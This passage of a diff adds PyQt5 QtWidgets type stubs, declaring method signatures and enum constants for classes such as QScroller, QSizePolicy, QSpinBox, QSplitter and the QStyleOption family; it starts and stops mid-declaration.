def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + + def sliderChange(self, change: QAbstractSlider.SliderChange) -> None: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def contextMenuEvent(self, a0: QtGui.QContextMenuEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionSlider') -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QScroller(QtCore.QObject): + + class Input(int): + InputPress = ... # type: QScroller.Input + InputMove = ... # type: QScroller.Input + InputRelease = ... # type: QScroller.Input + + class ScrollerGestureType(int): + TouchGesture = ... # type: QScroller.ScrollerGestureType + LeftMouseButtonGesture = ... # type: QScroller.ScrollerGestureType + RightMouseButtonGesture = ... # type: QScroller.ScrollerGestureType + MiddleMouseButtonGesture = ... # type: QScroller.ScrollerGestureType + + class State(int): + Inactive = ... # type: QScroller.State + Pressed = ... # type: QScroller.State + Dragging = ... # type: QScroller.State + Scrolling = ... # type: QScroller.State + + def scrollerPropertiesChanged(self, a0: 'QScrollerProperties') -> None: ... + def stateChanged(self, newstate: 'QScroller.State') -> None: ... + def resendPrepareEvent(self) -> None: ... + @typing.overload + def ensureVisible(self, rect: QtCore.QRectF, xmargin: float, ymargin: float) -> None: ... + @typing.overload + def ensureVisible(self, rect: QtCore.QRectF, xmargin: float, ymargin: float, scrollTime: int) -> None: ... + @typing.overload + def scrollTo(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def scrollTo(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], scrollTime: int) -> None: ... + def setScrollerProperties(self, prop: 'QScrollerProperties') -> None: ... + @typing.overload + def setSnapPositionsY(self, positions: typing.Iterable[float]) -> None: ... + @typing.overload + def setSnapPositionsY(self, first: float, interval: float) -> None: ... + @typing.overload + def setSnapPositionsX(self, positions: typing.Iterable[float]) -> None: ... + @typing.overload + def setSnapPositionsX(self, first: float, interval: float) -> None: ... + def scrollerProperties(self) -> 'QScrollerProperties': ... + def pixelPerMeter(self) -> QtCore.QPointF: ... + def finalPosition(self) -> QtCore.QPointF: ... + def velocity(self) -> QtCore.QPointF: ... + def stop(self) -> None: ... + def handleInput(self, input: 'QScroller.Input', position: typing.Union[QtCore.QPointF, QtCore.QPoint], timestamp: int = ...) -> bool: ... + def state(self) -> 'QScroller.State': ... + def target(self) -> QtCore.QObject: ... + @staticmethod + def activeScrollers() -> typing.List['QScroller']: ... + @staticmethod + def ungrabGesture(target: QtCore.QObject) -> None: ... + @staticmethod + def grabbedGesture(target: QtCore.QObject) -> QtCore.Qt.GestureType: ... + @staticmethod + def grabGesture(target: QtCore.QObject, scrollGestureType: 'QScroller.ScrollerGestureType' = ...) -> QtCore.Qt.GestureType: ... + @staticmethod + def scroller(target: QtCore.QObject) -> 'QScroller': ... + @staticmethod + def hasScroller(target: QtCore.QObject) -> bool: ... + + +class QScrollerProperties(sip.simplewrapper): + + class ScrollMetric(int): + MousePressEventDelay = ... # type: QScrollerProperties.ScrollMetric + DragStartDistance = ... # type: QScrollerProperties.ScrollMetric + DragVelocitySmoothingFactor = ... # type: QScrollerProperties.ScrollMetric + AxisLockThreshold = ... # type: QScrollerProperties.ScrollMetric + ScrollingCurve = ... # type: QScrollerProperties.ScrollMetric + DecelerationFactor = ... # type: QScrollerProperties.ScrollMetric + MinimumVelocity = ... # type: QScrollerProperties.ScrollMetric + MaximumVelocity = ... # type: QScrollerProperties.ScrollMetric + MaximumClickThroughVelocity = ... # type: QScrollerProperties.ScrollMetric + AcceleratingFlickMaximumTime = ... # type: QScrollerProperties.ScrollMetric + AcceleratingFlickSpeedupFactor = ... # type: QScrollerProperties.ScrollMetric + SnapPositionRatio = ... # type: QScrollerProperties.ScrollMetric + SnapTime = ... # type: QScrollerProperties.ScrollMetric + OvershootDragResistanceFactor = ... # type: QScrollerProperties.ScrollMetric + OvershootDragDistanceFactor = ... # type: QScrollerProperties.ScrollMetric + OvershootScrollDistanceFactor = ... # type: QScrollerProperties.ScrollMetric + OvershootScrollTime = ... # type: QScrollerProperties.ScrollMetric + HorizontalOvershootPolicy = ... # type: QScrollerProperties.ScrollMetric + VerticalOvershootPolicy = ... # type: QScrollerProperties.ScrollMetric + FrameRate = ... # type: QScrollerProperties.ScrollMetric + ScrollMetricCount = ... # type: QScrollerProperties.ScrollMetric + + class FrameRates(int): + Standard = ... # type: QScrollerProperties.FrameRates + Fps60 = ... # type: QScrollerProperties.FrameRates + Fps30 = ... # type: QScrollerProperties.FrameRates + Fps20 = ... # type: QScrollerProperties.FrameRates + + class OvershootPolicy(int): + OvershootWhenScrollable = ... # type: QScrollerProperties.OvershootPolicy + OvershootAlwaysOff = ... # type: QScrollerProperties.OvershootPolicy + OvershootAlwaysOn = ... # type: QScrollerProperties.OvershootPolicy + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, sp: 'QScrollerProperties') -> None: ... + + def setScrollMetric(self, metric: 'QScrollerProperties.ScrollMetric', value: typing.Any) -> None: ... + def scrollMetric(self, metric: 'QScrollerProperties.ScrollMetric') -> typing.Any: ... + @staticmethod + def unsetDefaultScrollerProperties() -> None: ... + @staticmethod + def setDefaultScrollerProperties(sp: 'QScrollerProperties') -> None: ... + + +class QShortcut(QtCore.QObject): + + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + @typing.overload + def __init__(self, key: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int], parent: QWidget, member: PYQT_SLOT = ..., ambiguousMember: PYQT_SLOT = ..., context: QtCore.Qt.ShortcutContext = ...) -> None: ... + + def event(self, e: QtCore.QEvent) -> bool: ... + def activatedAmbiguously(self) -> None: ... + def activated(self) -> None: ... + def autoRepeat(self) -> bool: ... + def setAutoRepeat(self, on: bool) -> None: ... + def parentWidget(self) -> QWidget: ... + def id(self) -> int: ... + def whatsThis(self) -> str: ... + def setWhatsThis(self, text: str) -> None: ... + def context(self) -> QtCore.Qt.ShortcutContext: ... + def setContext(self, context: QtCore.Qt.ShortcutContext) -> None: ... + def isEnabled(self) -> bool: ... + def setEnabled(self, enable: bool) -> None: ... + def key(self) -> QtGui.QKeySequence: ... + def setKey(self, key: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + + +class QSizeGrip(QWidget): + + def __init__(self, parent: QWidget) -> None: ... + + def hideEvent(self, hideEvent: QtGui.QHideEvent) -> None: ... + def showEvent(self, showEvent: QtGui.QShowEvent) -> None: ... + def moveEvent(self, moveEvent: QtGui.QMoveEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, mouseEvent: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def setVisible(self, a0: bool) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QSizePolicy(sip.simplewrapper): + + class ControlType(int): + DefaultType = ... # type: QSizePolicy.ControlType + ButtonBox = ... # type: QSizePolicy.ControlType + CheckBox = ... # type: QSizePolicy.ControlType + ComboBox = ... # type: QSizePolicy.ControlType + Frame = ... # type: QSizePolicy.ControlType + GroupBox = ... # type: QSizePolicy.ControlType + Label = ... # type: QSizePolicy.ControlType + Line = ... # type: QSizePolicy.ControlType + LineEdit = ... # type: QSizePolicy.ControlType + PushButton = ... # type: QSizePolicy.ControlType + RadioButton = ... # type: QSizePolicy.ControlType + Slider = ... # type: QSizePolicy.ControlType + SpinBox = ... # type: QSizePolicy.ControlType + TabWidget = ... # type: QSizePolicy.ControlType + ToolButton = ... # type: QSizePolicy.ControlType + + class Policy(int): + Fixed = ... # type: QSizePolicy.Policy + Minimum = ... # type: QSizePolicy.Policy + Maximum = ... # type: QSizePolicy.Policy + Preferred = ... # type: QSizePolicy.Policy + MinimumExpanding = ... # type: QSizePolicy.Policy + Expanding = ... # type: QSizePolicy.Policy + Ignored = ... # type: QSizePolicy.Policy + + class PolicyFlag(int): + GrowFlag = ... # type: QSizePolicy.PolicyFlag + ExpandFlag = ... # type: QSizePolicy.PolicyFlag + ShrinkFlag = ... # type: QSizePolicy.PolicyFlag + IgnoreFlag = ... # type: QSizePolicy.PolicyFlag + + class ControlTypes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSizePolicy.ControlTypes', 'QSizePolicy.ControlType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSizePolicy.ControlTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSizePolicy.ControlTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, horizontal: 'QSizePolicy.Policy', vertical: 'QSizePolicy.Policy', type: 'QSizePolicy.ControlType' = ...) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + @typing.overload + def __init__(self, a0: 'QSizePolicy') -> None: ... + + def __hash__(self) -> int: ... + def setRetainSizeWhenHidden(self, retainSize: bool) -> None: ... + def retainSizeWhenHidden(self) -> bool: ... + def hasWidthForHeight(self) -> bool: ... + def setWidthForHeight(self, b: bool) -> None: ... + def setControlType(self, type: 'QSizePolicy.ControlType') -> None: ... + def controlType(self) -> 'QSizePolicy.ControlType': ... + def transposed(self) -> 'QSizePolicy': ... + def transpose(self) -> None: ... + def setVerticalStretch(self, stretchFactor: int) -> None: ... + def setHorizontalStretch(self, stretchFactor: int) -> None: ... + def verticalStretch(self) -> int: ... + def horizontalStretch(self) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def setHeightForWidth(self, b: bool) -> None: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def setVerticalPolicy(self, d: 'QSizePolicy.Policy') -> None: ... + def setHorizontalPolicy(self, d: 'QSizePolicy.Policy') -> None: ... + def verticalPolicy(self) -> 'QSizePolicy.Policy': ... + def horizontalPolicy(self) -> 'QSizePolicy.Policy': ... + + +class QSlider(QAbstractSlider): + + class TickPosition(int): + NoTicks = ... # type: QSlider.TickPosition + TicksAbove = ... # type: QSlider.TickPosition + TicksLeft = ... # type: QSlider.TickPosition + TicksBelow = ... # type: QSlider.TickPosition + TicksRight = ... # type: QSlider.TickPosition + TicksBothSides = ... # type: QSlider.TickPosition + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + + def mouseMoveEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, ev: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, ev: QtGui.QPaintEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionSlider') -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def tickInterval(self) -> int: ... + def setTickInterval(self, ti: int) -> None: ... + def tickPosition(self) -> 'QSlider.TickPosition': ... + def setTickPosition(self, position: 'QSlider.TickPosition') -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QSpinBox(QAbstractSpinBox): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setStepType(self, stepType: QAbstractSpinBox.StepType) -> None: ... + def stepType(self) -> QAbstractSpinBox.StepType: ... + def setDisplayIntegerBase(self, base: int) -> None: ... + def displayIntegerBase(self) -> int: ... + def textChanged(self, a0: str) -> None: ... + @typing.overload + def valueChanged(self, a0: int) -> None: ... + @typing.overload + def valueChanged(self, a0: str) -> None: ... + def setValue(self, val: int) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def fixup(self, str: str) -> str: ... + def textFromValue(self, v: int) -> str: ... + def valueFromText(self, text: str) -> int: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QtGui.QValidator.State, str, int]: ... + def setRange(self, min: int, max: int) -> None: ... + def setMaximum(self, max: int) -> None: ... + def maximum(self) -> int: ... + def setMinimum(self, min: int) -> None: ... + def minimum(self) -> int: ... + def setSingleStep(self, val: int) -> None: ... + def singleStep(self) -> int: ... + def cleanText(self) -> str: ... + def setSuffix(self, s: str) -> None: ... + def suffix(self) -> str: ... + def setPrefix(self, p: str) -> None: ... + def prefix(self) -> str: ... + def value(self) -> int: ... + + +class QDoubleSpinBox(QAbstractSpinBox): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setStepType(self, stepType: QAbstractSpinBox.StepType) -> None: ... + def stepType(self) -> QAbstractSpinBox.StepType: ... + def textChanged(self, a0: str) -> None: ... + @typing.overload + def valueChanged(self, a0: float) -> None: ... + @typing.overload + def valueChanged(self, a0: str) -> None: ... + def setValue(self, val: float) -> None: ... + def fixup(self, str: str) -> str: ... + def textFromValue(self, v: float) -> str: ... + def valueFromText(self, text: str) -> float: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QtGui.QValidator.State, str, int]: ... + def setDecimals(self, prec: int) -> None: ... + def decimals(self) -> int: ... + def setRange(self, min: float, max: float) -> None: ... + def setMaximum(self, max: float) -> None: ... + def maximum(self) -> float: ... + def setMinimum(self, min: float) -> None: ... + def minimum(self) -> float: ... + def setSingleStep(self, val: float) -> None: ... + def singleStep(self) -> float: ... + def cleanText(self) -> str: ... + def setSuffix(self, s: str) -> None: ... + def suffix(self) -> str: ... + def setPrefix(self, p: str) -> None: ... + def prefix(self) -> str: ... + def value(self) -> float: ... + + +class QSplashScreen(QWidget): + + @typing.overload + def __init__(self, pixmap: QtGui.QPixmap = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, parent: QWidget, pixmap: QtGui.QPixmap = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, screen: QtGui.QScreen, pixmap: QtGui.QPixmap = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def drawContents(self, painter: QtGui.QPainter) -> None: ... + def messageChanged(self, message: str) -> None: ... + def clearMessage(self) -> None: ... + def showMessage(self, message: str, alignment: int = ..., color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] = ...) -> None: ... + def message(self) -> str: ... + def repaint(self) -> None: ... + def finish(self, w: QWidget) -> None: ... + def pixmap(self) -> QtGui.QPixmap: ... + def setPixmap(self, pixmap: QtGui.QPixmap) -> None: ... + + +class QSplitter(QFrame): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + + def closestLegalPosition(self, a0: int, a1: int) -> int: ... + def setRubberBand(self, position: int) -> None: ... + def moveSplitter(self, pos: int, index: int) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def childEvent(self, a0: QtCore.QChildEvent) -> None: ... + def createHandle(self) -> 'QSplitterHandle': ... + def splitterMoved(self, pos: int, index: int) -> None: ... + def replaceWidget(self, index: int, widget: QWidget) -> QWidget: ... + def setStretchFactor(self, index: int, stretch: int) -> None: ... + def handle(self, index: int) -> 'QSplitterHandle': ... + def getRange(self, index: int) -> typing.Tuple[int, int]: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def widget(self, index: int) -> QWidget: ... + def indexOf(self, w: QWidget) -> int: ... + def setHandleWidth(self, a0: int) -> None: ... + def handleWidth(self) -> int: ... + def restoreState(self, state: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def saveState(self) -> QtCore.QByteArray: ... + def setSizes(self, list: typing.Iterable[int]) -> None: ... + def sizes(self) -> typing.List[int]: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def refresh(self) -> None: ... + def opaqueResize(self) -> bool: ... + def setOpaqueResize(self, opaque: bool = ...) -> None: ... + def isCollapsible(self, index: int) -> bool: ... + def setCollapsible(self, index: int, a1: bool) -> None: ... + def childrenCollapsible(self) -> bool: ... + def setChildrenCollapsible(self, a0: bool) -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, a0: QtCore.Qt.Orientation) -> None: ... + def insertWidget(self, index: int, widget: QWidget) -> None: ... + def addWidget(self, widget: QWidget) -> None: ... + + +class QSplitterHandle(QWidget): + + def __init__(self, o: QtCore.Qt.Orientation, parent: QSplitter) -> None: ... + + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def closestLegalPosition(self, p: int) -> int: ... + def moveSplitter(self, p: int) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def splitter(self) -> QSplitter: ... + def opaqueResize(self) -> bool: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, o: QtCore.Qt.Orientation) -> None: ... + + +class QStackedLayout(QLayout): + + class StackingMode(int): + StackOne = ... # type: QStackedLayout.StackingMode + StackAll = ... # type: QStackedLayout.StackingMode + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + @typing.overload + def __init__(self, parentLayout: QLayout) -> None: ... + + def heightForWidth(self, width: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def setStackingMode(self, stackingMode: 'QStackedLayout.StackingMode') -> None: ... + def stackingMode(self) -> 'QStackedLayout.StackingMode': ... + def setCurrentWidget(self, w: QWidget) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def currentChanged(self, index: int) -> None: ... + def widgetRemoved(self, index: int) -> None: ... + def setGeometry(self, rect: QtCore.QRect) -> None: ... + def takeAt(self, a0: int) -> QLayoutItem: ... + def itemAt(self, a0: int) -> QLayoutItem: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def addItem(self, item: QLayoutItem) -> None: ... + def count(self) -> int: ... + @typing.overload + def widget(self, a0: int) -> QWidget: ... + @typing.overload + def widget(self) -> QWidget: ... + def currentIndex(self) -> int: ... + def currentWidget(self) -> QWidget: ... + def insertWidget(self, index: int, w: QWidget) -> int: ... + def addWidget(self, w: QWidget) -> int: ... + + +class QStackedWidget(QFrame): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def event(self, e: QtCore.QEvent) -> bool: ... + def widgetRemoved(self, index: int) -> None: ... + def currentChanged(self, a0: int) -> None: ... + def setCurrentWidget(self, w: QWidget) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def widget(self, a0: int) -> QWidget: ... + def indexOf(self, a0: QWidget) -> int: ... + def currentIndex(self) -> int: ... + def currentWidget(self) -> QWidget: ... + def removeWidget(self, w: QWidget) -> None: ... + def insertWidget(self, index: int, w: QWidget) -> int: ... + def addWidget(self, w: QWidget) -> int: ... + + +class QStatusBar(QWidget): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def hideOrShow(self) -> None: ... + def reformat(self) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def messageChanged(self, text: str) -> None: ... + def clearMessage(self) -> None: ... + def showMessage(self, message: str, msecs: int = ...) -> None: ... + def insertPermanentWidget(self, index: int, widget: QWidget, stretch: int = ...) -> int: ... + def insertWidget(self, index: int, widget: QWidget, stretch: int = ...) -> int: ... + def currentMessage(self) -> str: ... + def isSizeGripEnabled(self) -> bool: ... + def setSizeGripEnabled(self, a0: bool) -> None: ... + def removeWidget(self, widget: QWidget) -> None: ... + def addPermanentWidget(self, widget: QWidget, stretch: int = ...) -> None: ... + def addWidget(self, widget: QWidget, stretch: int = ...) -> None: ... + + +class QStyledItemDelegate(QAbstractItemDelegate): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def editorEvent(self, event: QtCore.QEvent, model: QtCore.QAbstractItemModel, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> bool: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + def displayText(self, value: typing.Any, locale: QtCore.QLocale) -> str: ... + def setItemEditorFactory(self, factory: QItemEditorFactory) -> None: ... + def itemEditorFactory(self) -> QItemEditorFactory: ... + def updateEditorGeometry(self, editor: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + def setModelData(self, editor: QWidget, model: QtCore.QAbstractItemModel, index: QtCore.QModelIndex) -> None: ... + def setEditorData(self, editor: QWidget, index: QtCore.QModelIndex) -> None: ... + def createEditor(self, parent: QWidget, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QWidget: ... + def sizeHint(self, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> QtCore.QSize: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionViewItem', index: QtCore.QModelIndex) -> None: ... + + +class QStyleFactory(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleFactory') -> None: ... + + @staticmethod + def create(a0: str) -> QStyle: ... + @staticmethod + def keys() -> typing.List[str]: ... + + +class QStyleOption(sip.simplewrapper): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOption.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOption.StyleOptionType + + class OptionType(int): + SO_Default = ... # type: QStyleOption.OptionType + SO_FocusRect = ... # type: QStyleOption.OptionType + SO_Button = ... # type: QStyleOption.OptionType + SO_Tab = ... # type: QStyleOption.OptionType + SO_MenuItem = ... # type: QStyleOption.OptionType + SO_Frame = ... # type: QStyleOption.OptionType + SO_ProgressBar = ... # type: QStyleOption.OptionType + SO_ToolBox = ... # type: QStyleOption.OptionType + SO_Header = ... # type: QStyleOption.OptionType + SO_DockWidget = ... # type: QStyleOption.OptionType + SO_ViewItem = ... # type: QStyleOption.OptionType + SO_TabWidgetFrame = ... # type: QStyleOption.OptionType + SO_TabBarBase = ... # type: QStyleOption.OptionType + SO_RubberBand = ... # type: QStyleOption.OptionType + SO_ToolBar = ... # type: QStyleOption.OptionType + SO_Complex = ... # type: QStyleOption.OptionType + SO_Slider = ... # type: QStyleOption.OptionType + SO_SpinBox = ... # type: QStyleOption.OptionType + SO_ToolButton = ... # type: QStyleOption.OptionType + SO_ComboBox = ... # type: QStyleOption.OptionType + SO_TitleBar = ... # type: QStyleOption.OptionType + SO_GroupBox = ... # type: QStyleOption.OptionType + SO_ComplexCustomBase = ... # type: QStyleOption.OptionType + SO_GraphicsItem = ... # type: QStyleOption.OptionType + SO_SizeGrip = ... # type: QStyleOption.OptionType + SO_CustomBase = ... # type: QStyleOption.OptionType + + direction = ... # type: QtCore.Qt.LayoutDirection + fontMetrics = ... # type: QtGui.QFontMetrics + palette = ... # type: QtGui.QPalette + rect = ... # type: QtCore.QRect + state = ... # type: typing.Union[QStyle.State, QStyle.StateFlag] + styleObject = ... # type: QtCore.QObject + type = ... # type: int + version = ... # type: int + + @typing.overload + def __init__(self, version: int = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOption') -> None: ... + + def initFrom(self, w: QWidget) -> None: ... + + +class QStyleOptionFocusRect(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionFocusRect.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionFocusRect.StyleOptionType + + backgroundColor = ... # type: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionFocusRect') -> None: ... + + +class QStyleOptionFrame(QStyleOption): + + class FrameFeature(int): + None_ = ... # type: QStyleOptionFrame.FrameFeature + Flat = ... # type: QStyleOptionFrame.FrameFeature + Rounded = ... # type: QStyleOptionFrame.FrameFeature + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionFrame.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionFrame.StyleOptionType + + class FrameFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionFrame.FrameFeatures', 'QStyleOptionFrame.FrameFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionFrame.FrameFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionFrame.FrameFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + features = ... # type: typing.Union['QStyleOptionFrame.FrameFeatures', 'QStyleOptionFrame.FrameFeature'] + frameShape = ... # type: QFrame.Shape + lineWidth = ... # type: int + midLineWidth = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionFrame') -> None: ... + + +class QStyleOptionTabWidgetFrame(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionTabWidgetFrame.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionTabWidgetFrame.StyleOptionType + + leftCornerWidgetSize = ... # type: QtCore.QSize + lineWidth = ... # type: int + midLineWidth = ... # type: int + rightCornerWidgetSize = ... # type: QtCore.QSize + selectedTabRect = ... # type: QtCore.QRect + shape = ... # type: 'QTabBar.Shape' + tabBarRect = ... # type: QtCore.QRect + tabBarSize = ... # type: QtCore.QSize + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionTabWidgetFrame') -> None: ... + + +class QStyleOptionTabBarBase(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionTabBarBase.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionTabBarBase.StyleOptionType + + documentMode = ... # type: bool + selectedTabRect = ... # type: QtCore.QRect + shape = ... # type: 'QTabBar.Shape' + tabBarRect = ... # type: QtCore.QRect + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionTabBarBase') -> None: ... + + +class QStyleOptionHeader(QStyleOption): + + class SortIndicator(int): + None_ = ... # type: QStyleOptionHeader.SortIndicator + SortUp = ... # type: QStyleOptionHeader.SortIndicator + SortDown = ... # type: QStyleOptionHeader.SortIndicator + + class SelectedPosition(int): + NotAdjacent = ... # type: QStyleOptionHeader.SelectedPosition + NextIsSelected = ... # type: QStyleOptionHeader.SelectedPosition + PreviousIsSelected = ... # type: QStyleOptionHeader.SelectedPosition + NextAndPreviousAreSelected = ... # type: QStyleOptionHeader.SelectedPosition + + class SectionPosition(int): + Beginning = ... # type: QStyleOptionHeader.SectionPosition + Middle = ... # type: QStyleOptionHeader.SectionPosition + End = ... # type: QStyleOptionHeader.SectionPosition + OnlyOneSection = ... # type: QStyleOptionHeader.SectionPosition + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionHeader.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionHeader.StyleOptionType + + icon = ... # type: QtGui.QIcon + iconAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + orientation = ... # type: QtCore.Qt.Orientation + position = ... # type: 'QStyleOptionHeader.SectionPosition' + section = ... # type: int + selectedPosition = ... # type: 'QStyleOptionHeader.SelectedPosition' + sortIndicator = ... # type: 'QStyleOptionHeader.SortIndicator' + text = ... # type: str + textAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionHeader') -> None: ... + + +class QStyleOptionButton(QStyleOption): + + class ButtonFeature(int): + None_ = ... # type: QStyleOptionButton.ButtonFeature + Flat = ... # type: QStyleOptionButton.ButtonFeature + HasMenu = ... # type: QStyleOptionButton.ButtonFeature + DefaultButton = ... # type: QStyleOptionButton.ButtonFeature + AutoDefaultButton = ... # type: QStyleOptionButton.ButtonFeature + CommandLinkButton = ... # type: QStyleOptionButton.ButtonFeature + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionButton.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: 